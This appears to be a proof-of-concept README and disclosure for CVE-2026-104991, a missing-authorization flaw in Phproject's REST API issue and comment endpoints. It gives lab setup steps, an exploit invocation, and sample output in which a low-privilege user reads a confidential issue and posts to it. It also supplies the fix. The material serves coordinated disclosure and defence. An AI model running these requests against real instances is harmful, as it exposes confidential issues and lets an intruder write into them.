
Proof-of-concept and lab for CVE-2026-104991, a missing authorization (BOLA/IDOR) flaw in Phproject REST API issue read and comment endpoints.
Authorized security research. PoC for defensive and educational use only.
Any authenticated low-privilege user (or any API-key holder) can read the full contents and comments of arbitrary issues, and post comments to them, via REST API endpoints that omit the ownership/group check enforced everywhere else in the application.
| CVE | CVE-2026-104991 |
| Product | Phproject (self-hosted project management / issue tracker) |
| Vendor | Alan Hardman (Alanaktion) |
| Affected | >= 1.1.6, < 1.8.7 (audited at commit 0307062a4b8d31375b6dbe09cb09a7a631dfdafd) |
| Fixed in | v1.8.7 |
| CWE | CWE-862 Missing Authorization / CWE-639 Broken Object-Level Authorization |
| OWASP | A01:2021 — Broken Access Control |
| CVSS 3.1 | 7.1 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N |
| CVSS 4.0 | 7.1 HIGH — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N |
| Advisory | VulnCheck · GHSA-mpq9-v47x-3hw8 |
| Coordination | VulnCheck (CNA) |
| Credit | Alisher Qarshibayev |
When an admin enables the security.restrict_access control (the switch that makes issues
private by owner/author/group), the web UI and the write REST endpoints enforce
Model\Issue::allowAccess(). Three read/comment REST endpoints do not — they check only
that the issue row exists. Any authenticated principal can therefore read or comment on any
issue regardless of ownership.
app/controller/api/issues.phppublic function single_get(\Base $f3, array $params): void {
$issue = new \Model\Issue\Detail();
$issue->load($params["id"]);
if ($issue->id) { // <-- existence check only
$this->_printJson(["issue" => $this->_issueMultiArray($issue)]); // NO allowAccess()
} else { $f3->error(404); }
}
public function single_comments(\Base $f3, array $params): void {
$issue = new \Model\Issue(); $issue->load($params["id"]);
if (!$issue->id) { $f3->error(404); return; } // NO allowAccess()
$comments = (new \Model\Issue\Comment\Detail())->find(["issue_id = ?", $issue->id], ...);
/* ... returns all comments ... */
}
The sibling write endpoints in the same file authorize correctly:
public function single_delete(...) { ... if (!$issue->allowAccess()) { $f3->error(403); return; } ... }
public function single_put(...) { ... if (!$issue->allowAccess()) { $f3->error(403); return; } ... }
So does the web UI (app/controller/issues.php:216,436). Only single_get,
single_comments and single_comments_post forgot the guard — a classic
diff-every-call-site authorization gap.
GET /issues/@id.json — read arbitrary issue (title, description, custom fields, owner email)GET /issues/@id/comments.json — read all comments on arbitrary issuePOST /issues/@id/comments.json — write a comment to arbitrary issuesecurity.restrict_access = 1 (admin-enabled issue confidentiality).poc/setup_env.php seeds a deterministic lab: enables restrict_access, creates a
confidential issue owned by alice, and a low-priv user bob who is not owner,
author or group member. poc/exploit.sh then demonstrates the bypass.
# 1. seed the lab (adjust DB connection inside the script to your instance)
php poc/setup_env.php
# -> prints BOB_KEY=<key> ISSUE_ID=1
# 2. run the exploit
./poc/exploit.sh http://target 1 <BOB_KEY>
web GET /issues/1 -> HTTP 404 (web UI denies, no data)
api GET /issues/1.json -> HTTP 200 {"issue":{"name":"CONFIDENTIAL: acquisition salary figures",
"description":"...secret-token=RS_9f13ac.","owner":{"username":"alice"}}}
api GET /issues/1/comments.json -> HTTP 200 [{"text":"Internal comment: board approved 2026-10.","user_username":"alice"}]
api POST /issues/1/comments.json-> HTTP 200 {"id":2,"issue_id":1,"user_id":2,"text":"INJECTED-BY-BOB"}
The web UI denies bob (404) while the API hands him the confidential issue and lets him
write to it. See evidence/poc_run.log and
evidence/poc_evidence.png.
Operators relying on security.restrict_access to keep issues confidential between
users/groups (HR, security, per-client separation) lose that guarantee entirely: any
authenticated user reads every issue's title, description, custom fields and owner email,
reads all comments, and injects comments into issues they cannot otherwise access. API keys
are per-user and long-lived, widening exposure. Confidentiality: High. Integrity: Low.
Upgrade to Phproject v1.8.7 or later. If you maintain a fork, add the same guard the sibling/write and web paths already use, in each read/comment API method:
$issue->load($params["id"]);
if (!$issue->id) { $f3->error(404); return; }
if (!$issue->allowAccess()){ $f3->error(403); return; } // <-- was missing
Alisher Qarshibayev — coordinated through VulnCheck.
Published for defensive/educational purposes after the fix was released and the CVE assigned.